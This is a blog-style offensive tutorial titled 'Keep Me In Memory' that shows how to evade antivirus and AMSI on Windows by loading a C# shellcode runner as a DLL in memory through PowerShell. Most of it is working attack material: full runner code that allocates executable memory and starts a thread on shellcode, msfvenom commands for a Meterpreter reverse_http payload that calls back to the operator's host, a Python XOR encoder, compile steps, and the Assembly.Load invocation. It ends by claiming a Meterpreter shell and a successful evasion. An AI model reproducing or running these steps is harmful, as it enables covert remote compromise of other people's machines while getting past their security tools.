Keep Me In Memory

Introduction

Most antivirus software provides "real-time" scanning. The antivirus monitors filesystem operations and scans the file when downloaded or executed. And if a malicious file is detected, it will be deleted or quarantined.

In our approach to avoid detection by antivirus software, we will try Reflective DLL loading, which can load a DLL into a process memory without touching the disk.

Reflective Code Loading

Reflective loading involves allocating then executing payloads directly within the memory of the process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.

C# Runner

In this approach, we will make a C# code to use WinAPI calls to run our shellcode from msfvenom.

Each line has a comment.

using System;
using System.Runtime.InteropServices;

namespace runner
{
    // We are adding an access modifier public to let us execute the code after being imported as a library.
    public class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        // Reserves, commits, or changes the state of a region of pages in the virtual address space of the calling process.
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        // Creates a thread to execute within the virtual address space of the calling process.
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        // Waits until the specified object is in the signaled state or the time-out interval elapses.
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);

        public static void Main()
        {
            // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<Your_Port> EXITFUNC=thread -f csharp | tr -d '\n'
            // byte[] buf = new byte[774] { <Your shellcode> }
            int payloadSize = buf.Length;

            // To allocate unmanaged memory that is writable, readable, and executable. 
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, payloadSize, 0x3000, 0x40);
			
            // Copies data from a managed array to an unmanaged memory pointer, or from an unmanaged memory pointer to a managed array.
            Marshal.Copy(buf, 0, payAddr, payloadSize);
			
            // Creates a thread to execute within the virtual address space.
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
			
            // Waits until the specified object is in the signaled state.
            int waitResult = WaitForSingleObject(payThreadId, -1);
        }
    }
}

Compile C# Code With CSC

CSC.exe is the CSharp compiler included in the .NET Framework and can compile from the command prompt.

The output can be an executable ".exe" if you use "/target:exe" or a DLL if you use "/target:library", CSC.exe is found in the .NET Framework directory C:\Windows\Microsoft.NET\Framework\*\Csc.exe

Now you can compile it with CSC as DLL: C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /target:library /out:lib.dll payload.cs /unsafe

After compiling the source code, we need to convert the DLL file to base64 from Powershell. That will enable us to load it into memory without touching the disk.

$filePath = "C:\Users\Tester\Desktop\lib.dll"
$bytes = [System.IO.File]::ReadAllBytes($filePath)
[System.Convert]::ToBase64String($bytes)

Once we have converted the DLL to string, we can inject our DLL into a running process via Assembly.Load method.

Assemblies In Memory with Powershell

An assembly is a collection of types and resources that are built to work together and form a logical unit of functionality. Assemblies take the form of executable (.exe) or dynamic link library (.dll) files, and are the building blocks of .NET applications. They provide the common language runtime with the information it needs to be aware of type implementations.

We can load the assembly with System.Reflection.Assembly via Powershell to execute the DLL directly into the memory.

 [System.Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAM <snip> AAAAAAAA=")) | Out-Null

Ops, I got caught by AMSI. This is not the end of the road, and we have to improve our payload.

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

Shellcode Encoding

We want to encode our shellcode to avoid detection. We need to change that shellcode reversibly to retrieve the actual status of our shellcode. Let's try to encode the shellcode with XOR Bitwise operation, and I choice Python to do that.

#  Custom Shellcode Encoder
# msfvenom -p windows/x64/meterpreter/reverse_http LHOST=<Your_IP> LPORT=<Your_Port> EXITFUNC=thread -f csharp | tr -d '\n'
shellcode = '0xfc, <snip> ,0xd5' # Your shellcode
shellcode = shellcode.replace(',', ' ').split()
shellcodeList = []

for i in shellcode:
    #  Encode the payload with XOR, the key is: 0xfa
    xorEncode = int(i, 16) ^ 0xfa
    intTohex = hex(xorEncode)
    if len(intTohex) == 3:
        shellcodeList.append(f'{list(intTohex)[0]}{list(intTohex)[1]}0{list(intTohex)[2]}')
    else:
        shellcodeList.append(intTohex)

counter = 0
shellcodeLen = len(shellcodeList)-1
print(f'byte[] buf = new byte[{len(shellcodeList)}]'+' {', end='')

for i in shellcodeList:
    if counter != shellcodeLen:
        #  To append comma.
        print(i, end=', ')
        counter += 1
    else:
        #  Dont append comma for last item, and close it.
        print(i, end='};')

After running the script, we will get the encoded shellcode.

byte[] buf = new byte[656] {0x06, <snip> ,0x2f};

Now we need to make some changes to our C# code to add some lines to decode the shellcode after encoding to retrieve the original status of the shellcode.

Lines: 24 to 27.

using System;
using System.Runtime.InteropServices;

namespace runner
{
    public class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, int dwSize, uint flAllocationType, uint flProtect);

        [DllImport("Kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private unsafe static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, uint lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern Int32 WaitForSingleObject(IntPtr Handle, Int32 Wait);

        public static void Main()
        {

            byte[] buf = new byte[656] { 0x06, <snip> ,0x2f };
            int scSize = buf.Length;
            IntPtr payAddr = VirtualAlloc(IntPtr.Zero, scSize, 0x3000, 0x40);

            for (int i = 0; i < buf.Length; i++)
            {
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);
            }

            Marshal.Copy(buf, 0, payAddr, scSize);
            IntPtr payThreadId = CreateThread(IntPtr.Zero, 0, payAddr, IntPtr.Zero, 0, 0);
            int waitResult = WaitForSingleObject(payThreadId, -1);
        }
    }
}

After adding changes, recompile it, and encode the DLL file to Base64.

We're fine. We are ready to execute the shellcode now.

Run it.

Now, all that you need is just invoking the Main function.

namespace name (runner) -> public class name (Program) -> Function name (Main)

[runner.Program]::Main()

We got Meterpreter shell!

We could avoid antivirus software protection smoothly and run our shellcode by encoding and decoding it using this approach.

Last updated